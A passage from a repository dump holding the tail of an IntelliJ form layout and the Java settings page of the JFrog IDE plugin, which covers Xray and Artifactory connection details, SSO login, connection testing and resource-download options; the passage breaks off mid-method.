col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"4\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <label value=\"Restore Defaults\"/>\n            </properties>\n          </component>\n          <component id=\"d9984\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"6\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Plugin Resources\"/>\n            </properties>\n          </component>\n          <component id=\"3d960\" class=\"javax.swing.JLabel\" binding=\"repositoryNameJLabel\">\n            <constraints>\n              <grid row=\"9\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"4\" use-parent-layout=\"false\">\n                <preferred-size width=\"109\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"Repository name:\"/>\n              <toolTipText value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"b2960\" class=\"com.intellij.ui.components.JBTextField\" binding=\"repositoryNameJBTextField\">\n            <constraints>\n              <grid row=\"9\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"200\" height=\"-1\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"a8bbd\" class=\"javax.swing.JLabel\" binding=\"repositoryNameDescJLabel\">\n            <constraints>\n              <grid row=\"10\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"1\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <font size=\"11\"/>\n              <foreground color=\"-6513248\"/>\n              <text value=\"&lt;html&gt; Specify the name of a repository within your Artifactory instance for resource downloads. &lt;/html&gt;\"/>\n            </properties>\n          </component>\n          <component id=\"25d51\" class=\"javax.swing.JRadioButton\" binding=\"downloadResourcesThroughArtifactoryRadioButton\">\n            <constraints>\n              <grid row=\"8\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"2\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Download resources through Artifactory\"/>\n            </properties>\n          </component>\n          <component id=\"a9c14\" class=\"com.intellij.ui.components.JBLabel\" binding=\"pluginResourcesDescJBLabel\">\n            <constraints>\n              <grid row=\"11\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"2\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <focusCycleRoot value=\"true\"/>\n              <focusable value=\"false\"/>\n              <font size=\"11\"/>\n              <foreground color=\"-6513248\"/>\n              <text value=\"&lt;html&gt;&#10;The plugin requires some of its resources to be downloaded.&#10;&lt;br&gt;&#10;Here you can choose where these resources will be downloaded from.&#10;&lt;/html&gt;&#10;\"/>\n            </properties>\n          </component>\n          <grid id=\"124a\" layout-manager=\"GridLayoutManager\" row-count=\"1\" column-count=\"5\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"2\" vgap=\"-1\">\n            <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n            <constraints>\n              <grid row=\"7\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties/>\n            <border type=\"none\"/>\n            <children>\n              <component id=\"2e24c\" class=\"javax.swing.JRadioButton\" binding=\"downloadResourcesFromReleasesRadioButton\">\n                <constraints>\n                  <grid row=\"0\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"2\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <text value=\"&lt;html&gt;&#10;Download resources from JFrog Releases Repository&#10;&lt;/html&gt;\"/>\n                </properties>\n              </component>\n              <component id=\"a9393\" class=\"com.intellij.ui.components.JBLabel\" binding=\"releasesRepoLinkJBLabel\">\n                <constraints>\n                  <grid row=\"0\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <focusCycleRoot value=\"true\"/>\n                  <focusable value=\"false\"/>\n                  <font/>\n                  <foreground color=\"-2104859\"/>\n                  <text value=\"&lt;html&gt;&#10;(&lt;a href=&quot;https://releases.jfrog.io/&quot;&gt;releases.jfrog.io&lt;/a&gt;) (default)&#10;&lt;/html&gt;&#10;\"/>\n                </properties>\n              </component>\n            </children>\n          </grid>\n        </children>\n      </grid>\n    </children>\n  </tabbedpane>\n  <buttonGroups>\n    <group name=\"authenticationMethod\">\n      <member id=\"6f374\"/>\n      <member id=\"aff26\"/>\n    </group>\n    <group name=\"policy\">\n      <member id=\"6e971\"/>\n      <member id=\"f6c62\"/>\n      <member id=\"b204b\"/>\n    </group>\n    <group name=\"credentialsType\">\n      <member id=\"2f44e\"/>\n      <member id=\"9138c\"/>\n      <member id=\"4a8e4\"/>\n      <member id=\"a8c73\"/>\n    </group>\n    <group name=\"resourcesRepo\">\n      <member id=\"2e24c\"/>\n      <member id=\"25d51\"/>\n    </group>\n  </buttonGroups>\n</form>\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogGlobalConfiguration.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.google.common.collect.Sets;\nimport com.intellij.icons.AllIcons;\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.options.Configurable;\nimport com.intellij.openapi.options.ConfigurationException;\nimport com.intellij.ui.HyperlinkLabel;\nimport com.intellij.ui.components.*;\nimport com.intellij.util.Time;\nimport com.intellij.util.ui.AsyncProcessIcon;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.common.utils.XrayConnectionUtils;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.configuration.ServerConfigImpl;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.xray.client.Xray;\nimport com.jfrog.xray.client.impl.XrayClientBuilder;\nimport com.jfrog.xray.client.impl.util.JFrogInactiveEnvironmentException;\nimport com.jfrog.xray.client.services.system.Version;\nimport org.apache.commons.lang3.ObjectUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.apache.commons.lang3.tuple.Pair;\nimport org.apache.http.conn.ssl.TrustAllStrategy;\nimport org.apache.http.ssl.SSLContextBuilder;\nimport org.jdesktop.swingx.JXCollapsiblePane;\nimport org.jetbrains.annotations.Nls;\nimport org.jetbrains.annotations.Nullable;\nimport org.jfrog.build.client.ProxyConfiguration;\nimport org.jfrog.build.extractor.clientConfiguration.ArtifactoryManagerBuilder;\nimport org.jfrog.build.extractor.clientConfiguration.client.access.AccessManager;\nimport org.jfrog.build.extractor.clientConfiguration.client.artifactory.ArtifactoryManager;\nimport org.jfrog.build.extractor.clientConfiguration.client.response.CreateAccessTokenResponse;\n\nimport javax.swing.*;\nimport java.awt.event.ItemEvent;\nimport java.io.IOException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.UUID;\n\nimport static com.jfrog.ide.common.ci.Utils.createAqlForBuildArtifacts;\nimport static com.jfrog.ide.common.utils.Utils.*;\nimport static com.jfrog.ide.common.utils.XrayConnectionUtils.isSupportedInXrayVersion;\nimport static com.jfrog.ide.common.utils.XrayConnectionUtils.testComponentPermission;\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS;\nimport static com.jfrog.ide.idea.ui.configuration.Utils.*;\nimport static org.apache.commons.collections4.CollectionUtils.addIgnoreNull;\nimport static org.apache.commons.lang3.StringUtils.*;\n\n/**\n * Created by romang on 1/29/17.\n */\npublic class JFrogGlobalConfiguration implements Configurable, Configurable.NoScroll {\n    public static final String USER_AGENT = \"jfrog-idea-plugin/\" + JFrogGlobalConfiguration.class.getPackage().getImplementationVersion();\n    private static final String SSO_LOGIN_FAILURE = \"\"\"\n            The SSO login option isn't available.\n            Cause: %s\n\n            Hints:\n            1. Ensure that the JFrog Platform URL is correct\n            2. The SSO login option is supported since Artifactory 7.64.0\"\"\";\n    // All UI components\n    private Set<JComponent> connectionDetailsEnabledComponents, connectionDetailsVisibleComponents;\n    private Set<JComponent> webLoginEnabledComponents, webLoginVisibleComponents;\n    private Set<JComponent> allUiComponents;\n    private static final int SSO_WAIT_BETWEEN_RETRIES_MILLIS = 2 * Time.SECOND;\n    private static final int SSO_RETRIES = 30;\n\n    private ServerConfigImpl serverConfig;\n\n    // Tabs\n    private JPanel connectionDetails, settings, advanced;\n\n    // Connection types\n    private JRadioButton ssoLoginSelection, setCredentialsManuallySelection;\n\n    // Connection details\n    private JLabel platformUrlTitle;\n    private JBTextField platformUrl;\n    private JLabel usernameTitle;\n    private JBTextField username;\n    private JLabel passwordTitle;\n    private JBPasswordField password;\n    private JLabel accessTokenTitle;\n    private JBPasswordField accessToken;\n    private JButton loginButton;\n    private JLabel authenticationMethodTitle;\n\n    // Test connection\n    private JButton testConnectionButton;\n    private JBLabel connectionResults;\n    private HyperlinkLabel infoPanel;\n\n    // Advanced button\n    private JXCollapsiblePane setSeparately;\n    private JButton advancedExpandButton;\n    private JLabel artifactoryUrlTitle;\n    private JBTextField artifactoryUrl;\n    private JLabel xrayUrlTitle;\n    private JBTextField xrayUrl;\n\n\n    // Authentication types\n    private JRadioButton usernamePasswordRadioButton, accessTokenRadioButton;\n\n    // Settings tab\n    private JBTextField project;\n    private HyperlinkLabel projectInstructions, policyInstructions, watchInstructions;\n    private JRadioButton allVulnerabilitiesRadioButton, accordingToProjectRadioButton, accordingToWatchesRadioButton;\n    private JBTextField watches;\n\n    // Advanced tab\n    private ConnectionRetriesSpinner connectionRetries;\n    private ConnectionTimeoutSpinner connectionTimeout;\n    private JBTextField excludedPaths;\n    private ActionLink scanOptionsRestoreDefaultsActionLink;\n    private ActionLink connectionOptionsRestoreDefaultsActionLink;\n    private JRadioButton downloadResourcesFromReleasesRadioButton;\n    private JRadioButton downloadResourcesThroughArtifactoryRadioButton;\n    private JLabel repositoryNameJLabel;\n    private JBTextField repositoryNameJBTextField;\n    private JLabel repositoryNameDescJLabel;\n    private JBLabel pluginResourcesDescJBLabel;\n    private JBLabel releasesRepoLinkJBLabel;\n    private JBLabel ssoLoginInstructionsLabel;\n    private JBTextArea ssoCode;\n    private JLabel scannerBinaryVersionJLabel;\n    private JBTextField scannerBinaryVersionJBTextField;\n\n    private int selectedTabIndex;\n\n\n    public JFrogGlobalConfiguration() {\n        createComponent();\n\n        // Connection details\n        initEnabledComponentSets();\n        initAuthenticationMethod();\n        initCredentialsTypeSelection();\n        initLoginViaBrowserButton();\n        initTestConnection();\n        initAdvancedExpandButton();\n\n        // Settings\n        initPolicy();\n        initLinks();\n\n        // Advanced\n        initConnectionOptionsRestoreDefaultsActionLink();\n        initScanOptionsRestoreDefaultsActionLink();\n        initPluginResourcesComponents();\n\n        loadConfig();\n    }\n\n    @Nullable\n    @Override\n    public JComponent createComponent() {\n        JTabbedPane tabbedPane = new JBTabbedPane();\n        tabbedPane.add(\"Connection Details\", connectionDetails);\n        tabbedPane.add(\"Settings\", settings);\n        tabbedPane.add(\"Advanced\", advanced);\n        tabbedPane.setSelectedIndex(selectedTabIndex);\n        return tabbedPane;\n    }\n\n    public void selectSettingsTab() {\n        selectedTabIndex = 1;\n    }\n\n    @Nls\n    @Override\n    public String getDisplayName() {\n        return \"JFrog Configuration\";\n    }\n\n    @Nullable\n    @Override\n    public String getHelpTopic() {\n        return \"Setup page for JFrog Xray and Artifactory connection details.\";\n    }\n\n    @Override\n    public boolean isModified() {\n        return !createServerConfig().equals(GlobalSettings.getInstance().getServerConfig());\n    }\n\n    @Override\n    public void apply() throws ConfigurationException {\n        serverConfig = createServerConfig();\n        ConfigVerificationUtils.validateGlobalConfig(serverConfig.getExcludedPaths(), serverConfig.getPolicyType(), serverConfig.getProject(), serverConfig.getWatches());\n        GlobalSettings.getInstance().updateConfig(serverConfig);\n    }\n\n    @Override\n    public void reset() {\n        loadConfig();\n    }\n\n    /**\n     * Initialize all UI components sets in order to show/hide them according to the user's choice.\n     */\n    private void initEnabledComponentSets() {\n        allUiComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl, xrayUrlTitle, xrayUrl,\n                artifactoryUrlTitle, artifactoryUrl, username, password, accessTokenTitle, accessToken, accessTokenRadioButton, usernamePasswordRadioButton,\n                loginButton, authenticationMethodTitle, usernameTitle, passwordTitle, advancedExpandButton, setSeparately, advancedExpandButton,\n                ssoLoginInstructionsLabel, ssoCode);\n\n        webLoginEnabledComponents = webLoginVisibleComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl, loginButton, ssoLoginInstructionsLabel, ssoCode);\n\n        connectionDetailsEnabledComponents = connectionDetailsVisibleComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl,\n                authenticationMethodTitle, usernamePasswordRadioButton, accessTokenRadioButton, usernameTitle, username,\n                passwordTitle, password, accessTokenTitle, accessToken, advancedExpandButton, setSeparately, artifactoryUrlTitle,\n                artifactoryUrl, xrayUrlTitle, xrayUrl);\n    }\n\n    /**\n     * Create the server config according to the configured data in the UI.\n     *\n     * @return a new server config.\n     */\n    private ServerConfigImpl createServerConfig() {\n        ServerConfigImpl.Builder builder = new ServerConfigImpl.Builder()\n                .setConnectionType(getConnectionType())\n                .setUrl(platformUrl.getText())\n                .setArtifactoryUrl(artifactoryUrl.getText())\n                .setXrayUrl(xrayUrl.getText())\n                .setUsername(username.getText())\n                .setPassword(String.valueOf(password.getPassword()))\n                .setAccessToken(String.valueOf(accessToken.getPassword()))\n                .setExcludedPaths(excludedPaths.getText())\n                .setPolicyType(getPolicyType())\n                .setProject(project.getText())\n                .setWatches(watches.getText())\n                .setConnectionRetries(connectionRetries.getNumber())\n                .setConnectionTimeout(connectionTimeout.getNumber());\n        if (downloadResourcesThroughArtifactoryRadioButton.isSelected()) {\n            builder.setExternalResourcesRepo(repositoryNameJBTextField.getText());\n        }\n        String versionOverride = scannerBinaryVersionJBTextField.getText();\n        if (isNotBlank(versionOverride)) {\n            builder.setScannerBinaryVersion(versionOverride.trim());\n        }\n        return builder.build();\n    }\n\n    /**\n     * Get the selected policy type - Project, Watches or all vulnerabilities.\n     *\n     * @return the selected policy type.\n     */\n    private ServerConfig.PolicyType getPolicyType() {\n        if (accordingToProjectRadioButton.isSelected()) {\n            return ServerConfig.PolicyType.PROJECT;\n        } else if (accordingToWatchesRadioButton.isSelected()) {\n            return ServerConfig.PolicyType.WATCHES;\n        }\n        return ServerConfig.PolicyType.VULNERABILITIES;\n    }\n\n    /**\n     * Get the selected connection type - SSO or set the connection details manually.\n     *\n     * @return the selected connection type.\n     */\n    private ServerConfigImpl.ConnectionType getConnectionType() {\n        return setCredentialsManuallySelection.isSelected() ?\n                ServerConfigImpl.ConnectionType.CONNECTION_DETAILS :\n                ServerConfigImpl.ConnectionType.SSO;\n    }\n\n    /**\n     * Load the config and populate the UI fields.\n     */\n    private void loadConfig() {\n        platformUrl.getEmptyText().setText(\"Example: https://acme.jfrog.io\");\n        xrayUrl.getEmptyText().setText(\"Example: https://acme.jfrog.io/xray\");\n        artifactoryUrl.getEmptyText().setText(\"Example: https://acme.jfrog.io/artifactory\");\n        excludedPaths.getEmptyText().setText(\"Example: \" + DEFAULT_EXCLUSIONS);\n        watches.getEmptyText().setText(\"Example: watch-1,watch-2\");\n        connectionResults.setText(\"\");\n\n        serverConfig = GlobalSettings.getInstance().getServerConfig();\n        if (serverConfig != null) {\n            updateConnectionDetailsTextFields();\n            updatePolicyTextFields();\n            excludedPaths.setText(serverConfig.getExcludedPaths());\n            project.setText(serverConfig.getProject());\n            watches.setText(serverConfig.getWatches());\n            connectionRetries.setValue(serverConfig.getConnectionRetries());\n            connectionTimeout.setValue(serverConfig.getConnectionTimeout());\n            if (!StringUtils.isEmpty(serverConfig.getExternalResourcesRepo())) {\n                downloadResourcesThroughArtifactoryRadioButton.setSelected(true);\n                repositoryNameJBTextField.setText(serverConfig.getExternalResourcesRepo());\n            } else {\n                downloadResourcesFromReleasesRadioButton.setSelected(true);\n            }\n            scannerBinaryVersionJBTextField.setText(StringUtils.defaultString(serverConfig.getScannerBinaryVersion()));\n        } else {\n            clearText(platformUrl, xrayUrl, artifactoryUrl, username, password);\n            excludedPaths.setText(DEFAULT_EXCLUSIONS);\n            allVulnerabilitiesRadioButton.setSelected(true);\n            project.setText(\"\");\n            watches.setText(\"\");\n            connectionRetries.setValue(ConnectionRetriesSpinner.RANGE.initial);\n            connectionTimeout.setValue(ConnectionTimeoutSpinner.RANGE.initial);\n            ssoLoginSelection.setSelected(true);\n            downloadResourcesFromReleasesRadioButton.setSelected(true);\n            scannerBinaryVersionJBTextField.setText(\"\");\n        }\n        updateExternalRepositoryFields();\n        initAuthMethodSelection();\n    }\n\n    /**\n     * Initialize the test connection button.\n     */\n    private void initTestConnection() {\n        testConnectionButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            List<String> results = new ArrayList<>();\n            if (isBlank(platformUrl.getText()) && ssoLoginSelection.isSelected()) {\n                results.add(\"JFrog platform URL is missing\");\n            } else {\n                addIgnoreNull(results, checkXrayConnection());\n                addIgnoreNull(results, checkArtifactoryConnection());\n            }\n\n            setConnectionResults(String.join(\"<br/>\", results));\n        }));\n    }\n\n    /**\n     * Check connection to Xray.\n     *\n     * @return empty string for success, the reason if failed.\n     */\n    private String checkXrayConnection() {\n        String url = resolveXrayUrl(xrayUrl.getText(), platformUrl.getText());\n        if (isBlank(url)) {\n            return \"Xray URL is missing.\";\n        }\n        try {\n            Xray xrayClient = createXrayClient(url);\n\n            setConnectionResults(\"Connecting to Xray...\");\n            connectionDetails.validate();\n            connectionDetails.repaint();\n            Version xrayVersion = xrayClient.system().version();\n\n            // Check version\n            if (!isSupportedInXrayVersion(xrayVersion)) {\n                return XrayConnectionUtils.Results.unsupported(xrayVersion);\n            }\n\n            // Check permissions\n            Pair<Boolean, String> testComponentPermissionRes = testComponentPermission(xrayClient);\n            if (!testComponentPermissionRes.getLeft()) {\n                throw new IOException(testComponentPermissionRes.getRight());\n            }\n\n            return XrayConnectionUtils.Results.success(xrayVersion);\n        } catch (IOException exception) {\n            if (exception instanceof JFrogInactiveEnvironmentException) {\n                initHyperlinkLabel(infoPanel, \"JFrog Platform is not active.\\nClick <hyperlink>here</hyperlink> to activate it.\", ((JFrogInactiveEnvironmentException) exception).getRedirectUrl());\n            } else {\n                createConnectionResultsBalloon(getLoginErrorMessage(exception), testConnectionButton);\n            }\n\n            return \"Could not connect to JFrog Xray.\";\n        }\n    }\n\n    /**\n     * Check connection to Artifactory.\n     *\n     * @return empty string for success, the reason if failed.\n     */\n    private String checkArtifactoryConnection() {\n        String url = resolveArtifactoryUrl(artifactoryUrl.getText(), platformUrl.getText());\n        if (isBlank(url)) {\n            return \"Artifactory URL is missing.\";\n        }\n        try (ArtifactoryManager artifactoryManager = createArtifactoryManagerBuilder(url).build()) {\n            setConnectionResults(\"Connecting to Artifactory...\");\n            connectionDetails.validate();\n            connectionDetails.repaint();\n\n            // Check connection.\n            // This command will throw an exception if there is a connection or credentials issue.\n            artifactoryManager.searchArtifactsByAql(createAqlForBuildArtifacts(\"*\", \"artifactory-build-info\"));\n\n            return \"Successfully connected to Artifactory version: \" + artifactoryManager.getVersion();\n        } catch (Exception exception) {\n            return \"Could not connect to JFrog Artifactory.\";\n        }\n    }\n\n    /**\n     * Get the login error after a failing connection testing.\n     *\n     * @param e - the received exception\n     * @return the login error to display.\n     */\n    private String getLoginErrorMessage(Exception e) {\n        String rootCause = substringBefore(ExceptionUtils.getRootCauseMessage(e), \"<\");\n        if (setCredentialsManuallySelection.isSelected()) {\n            return rootCause;\n        }\n        return String.format(SSO_LOGIN_FAILURE, rootCause);\n    }\n\n    /**\n     * Create an Xray client from the configured details in the UI.\n     *\n     * @param xrayUrl - The Xray URL\n     * @return an Xray client.\n     */\n    private Xray createXrayClient(String xrayUrl) {\n        return (Xray) new XrayClientBuilder()\n                .setUrl(xrayUrl)\n                .setUserName(trim(username.getText()))\n                .setPassword(String.valueOf(password.getPassword()))\n                .setAccessToken(String.valueOf(accessToken.getPassword()))\n                .setUserAgent(USER_AGENT)\n                .setInsecureTls(serverConfig.isInsecureTls())\n                .setSslContext(serverConfig.getSslContext())\n                .setProxyConfiguration(serverConfig.getProxyConfForTargetUrl(xrayUrl))\n                .setLog(Logger.getInstance())\n                .build();\n    }\n\n    /**\n     * Create an Artifactory client from the configured details in the UI.\n     *\n     * @param artifactoryUrl - The Artifactory URL\n     * @return an Xray client.\n     */\n    private ArtifactoryManagerBuilder createArtifactoryManagerBuilder(String artifactoryUrl) throws KeyStoreException, NoSuchAlgorithmException, KeyManagementException {\n        return new ArtifactoryManagerBuilder()\n                .setServerUrl(artifactoryUrl)\n                .setUsername(trim(username.getText()))\n                .setPassword(String.valueOf(password.getPassword()))\n                .setAccessToken(String.valueOf(accessToken.getPassword()))\n                .setProxyConfiguration(serverConfig.getProxyConfForTargetUrl(artifactoryUrl))\n                .setLog(Logger.getInstance())\n                .setSslContext(createSSLContext(serverConfig));\n    }\n\n    /**\n     * Set the connection results panel.\n     *\n     * @param results - The connection results to set.\n     */\n    private void setConnectionResults(String results) {\n        if (results == null) {\n            return;\n        }\n        connectionResults.setText(\"<html>\" + results + \"</html>\");\n    }\n\n\n    /**\n     * Init the \"Advanced\" button that displays the panel of Artifactory and Xray URLs.\n     */\n    private void initAdvancedExpandButton() {\n        advancedExpandButton.setAction(setSeparately.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION));\n        advancedExpandButton.setText(\"Advanced\");\n\n        Action toggleAction = setSeparately.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION);\n        toggleAction.putValue(JXCollapsiblePane.COLLAPSE_ICON, UIManager.getIcon(\"Tree.expandedIcon\"));\n        toggleAction.putValue(JXCollapsiblePane.EXPAND_ICON, UIManager.getIcon(\"Tree.collapsedIcon\"));\n    }\n\n    /**\n     * Init the \"Login\" button that do the SSO login.\n     */\n    private void initLoginViaBrowserButton() {\n        ssoCode.setText(\"\");\n        ssoLoginInstructionsLabel.setText(\"\");\n        loginButton.setIcon(AllIcons.Ide.External_link_arrow);\n        loginButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            if (isBlank(platformUrl.getText())) {\n                addRedBorder(platformUrl);\n                return;\n            }\n            doSsoLogin();\n        }));\n    }\n\n    /**\n     * Do the SSO login.\n     */\n    private void doSsoLogin() {\n        String uuid = UUID.randomUUID().toString();\n        String code = uuid.substring(uuid.length() - 4);\n        ssoCode.setText(code);\n        ssoLoginInstructionsLabel.setText(\"After logging in via your web browser, please enter the code if prompted: \");\n\n        AsyncProcessIcon asyncProcessIcon = new AsyncProcessIcon(\"Connecting...\");\n        clearText(artifactoryUrl, xrayUrl, accessToken, username, password);\n        loginButton.setText(\"\");\n        loginButton.setIcon(null);\n        loginButton.add(asyncProcessIcon);\n        loginButton.setEnabled(false);\n        String urlStr = removeEnd(trim(platformUrl.getText()), \"/\") + \"/access\";\n        try (AccessManager accessManager = new AccessManager(urlStr, \"\", Logger.getInstance())) {\n            ProxyConfiguration proxyConfiguration = serverConfig.getProxyConfForTargetUrl(urlStr);\n            if (proxyConfiguration != null) {\n                accessManager.setProxyConfiguration(proxyConfiguration);\n            }\n            accessManager.setSslContext(serverConfig.isInsecureTls() ?\n                    SSLContextBuilder.create().loadTrustMaterial(TrustAllStrategy.INSTANCE).build() :\n                    serverConfig.getSslContext());\n\n            Thread.sleep(SSO_WAIT_BETWEEN_RETRIES_MILLIS);\n            accessManager.sendBrowserLoginRequest(uuid);\n            BrowserUtil.browse(removeEnd(platformUrl.getText(), \"/\") + \"/ui/login?jfClientSession=\" + uuid +\n                    \"&jfClientName=IDEA&jfClientCode=1\");\n\n            for (int i = 0; i < SSO_RETRIES; i++) {\n                CreateAccessTokenResponse response = accessManager.getBrowserLoginRequestToken(uuid);\n                if (response != null) {\n                    accessToken.setText(response.getAccessToken());\n                    return;\n                }\n                Thread.sleep(SSO_WAIT_BETWEEN_RETRIES_MILLIS);\n            }\n        } catch (Exception e) {\n            Logger.getInstance().error(ExceptionUtils.getRootCauseMessage(e), e);\n        } finally {\n            if (accessToken.getPassword().length == 0) {\n                createConnectionResultsBalloon(String.format(SSO_LOGIN_FAILURE, \"Timeout\"), testConnectionButton);\n            } else {\n                testConnectionButton.doClick();\n            }\n            loginButton.remove(asyncProcessIcon);\n            loginButton.setText(\"Login\");\n            loginButton.setIcon(AllIcons.Ide.External_link_arrow);\n            loginButton.setEnabled(true);\n            ssoCode.setText(\"\");\n            ssoLoginInstructionsLabel.setText(\"\");\n        }\n    }\n\n    /**\n     * Initialize the credentials type selection buttons.\n     */\n    private void initCredentialsTypeSelection() {\n        setCredentialsManuallySelection.addItemListener(e -> {\n            enableAndShowFields(e, connectionDetailsEnabledComponents, connectionDetailsVisibleComponents);\n            initAuthMethodSelection();\n        });\n        ssoLoginSelection.addItemListener(e -> enableAndShowFields(e, webLoginEnabledComponents, webLoginVisibleComponents));\n    }\n\n    /**\n     * Enable/Disable fields in the UI according to the selected values.\n     *\n     * @param event             - The button event\n     * @param enabledComponents - The components to enable/disable, according to the event\n     * @param visibleComponents - The components to show/hide, according to the event\n     */\n    private void enableAndShowFields(ItemEvent event, Set<JComponent> enabledComponents, Set<JComponent> visibleComponents) {\n        JRadioButton cb = (JRadioButton) event.getSource();\n        allUiComponents.forEach(component -> {\n            component.setEnabled(cb.isSelected() && enabledComponents.contains(component));\n            component.setVisible(cb.isSelected() && visibleComponents.contains(component));\n        });\n    }\n\n    /**\n     * Initialize the authentication method radio buttons.\n     */\n    private void initAuthenticationMethod() {\n        accessTokenRadioButton.addItemListener(e -> {\n            JRadioButton accessTokenButton = (JRadioButton) e.getSource();\n            if (accessTokenButton.isSelected()) {\n                accessToken.setEnabled(true);\n                clearText(username, password);\n                username.setEnabled(false);\n                password.setEnabled(false);\n                accessToken.setText(serverConfig.getAccessToken());\n            } else {\n                username.setEnabled(true);\n                password.setEnabled(true);\n                clearText(accessToken);\n                accessToken.setEnabled(false);\n                username.setText(serverConfig.getUsername());\n                password.setText(serverConfig.getPassword());\n            }\n        });\n    }\n\n    /**\n     * Initialize the auth method selection - access token or username and password.\n     */\n    private void initAuthMethodSelection() {\n        boolean isAccessMode = isNotBlank(new String(accessToken.getPassword()));\n        usernamePasswordRadioButton.setSelected(!isAccessMode);\n        accessTokenRadioButton.setSelected(isAccessMode);\n        accessToken.setEnabled(isAccessMode);\n        username.setEnabled(!isAccessMode);\n        password.setEnabled(!isAccessMode);\n    }\n\n    /**\n     * Update the connection details from to the loaded server config.\n     */\n    void updateConnectionDetailsTextFields() {\n        platformUrl.setText(serverConfig.getUrl());\n        xrayUrl.setText(serverConfig.getXrayUrl());\n        artifactoryUrl.setText(serverConfig.getArtifactoryUrl());\n        if (isNotBlank(serverConfig.getAccessToken()) && setCredentialsManuallySelection.isSelected()) {\n            accessToken.setText(serverConfig.getAccessToken());\n            accessTokenRadioButton.setSelected(true);\n        } else {\n            username.setText(serverConfig.getUsername());\n            password.setText(serverConfig.getPassword());\n        }\n        loadConnectionType();\n    }\n\n    /**\n     * Load the connection type field from the loaded server config.\n     */\n    void loadConnectionType() {\n        if (serverConfig.getConnectionType() == null) {\n            // Keep legacy behavior\n            setCredentialsManuallySelection.setSelected(true);\n            return;\n        }\n        switch (serverConfig.getConnectionType()) {\n            case SSO -> ssoLoginSelection.setSelected(true);\n            case CONNECTION_DETAILS -> setCredentialsManuallySelection.setSelected(true);\n        }\n    }\n\n    /**\n     * Init the hyperlinks label in the \"Settings\" tab.\n     */\n    private void initLinks() {\n        initHyperlinkLabel(projectInstructions, \"Create a <hyperlink>JFrog Project</hyperlink>, or obtain the relevant JFrog Project key.\", \"https://www.jfrog.com/confluence/display/JFROG/Projects\");\n        initHyperlinkLabel(policyInstructions, \"Create a <hyperlink>Policy</hyperlink> on JFrog Xray.\", \"https://www.jfrog.com/confluence/display/JFROG/Creating+Xray+Policies+and+Rules\");\n        initHyperlinkLabel(watchInstructions, \"Create a <hyperlink>Watch</hyperlink> on JFrog Xray and assign your Policy and Project as resources to it.\", \"https://www.jfrog.com/confluence/display/JFROG/Configuring+Xray+Watches\");\n    }\n\n    /**\n     * Initialize the policy in the \"Settings\" tab.\n     */\n    private void initPolicy() {\n        accordingToWatchesRadioButton.addChangeListener(e -> {\n            if (accordingToWatchesRadioButton.isSelected()) {\n                watches.setEnabled(true);\n                watches.setText(serverConfig.getWatches());\n            } else {\n                watches.setEnabled(false);\n            }\n        });\n    }\n\n    /**\n     * Update the policy text fields according to the selected policy type.\n     */\n    void updatePolicyTextFields() {\n        switch 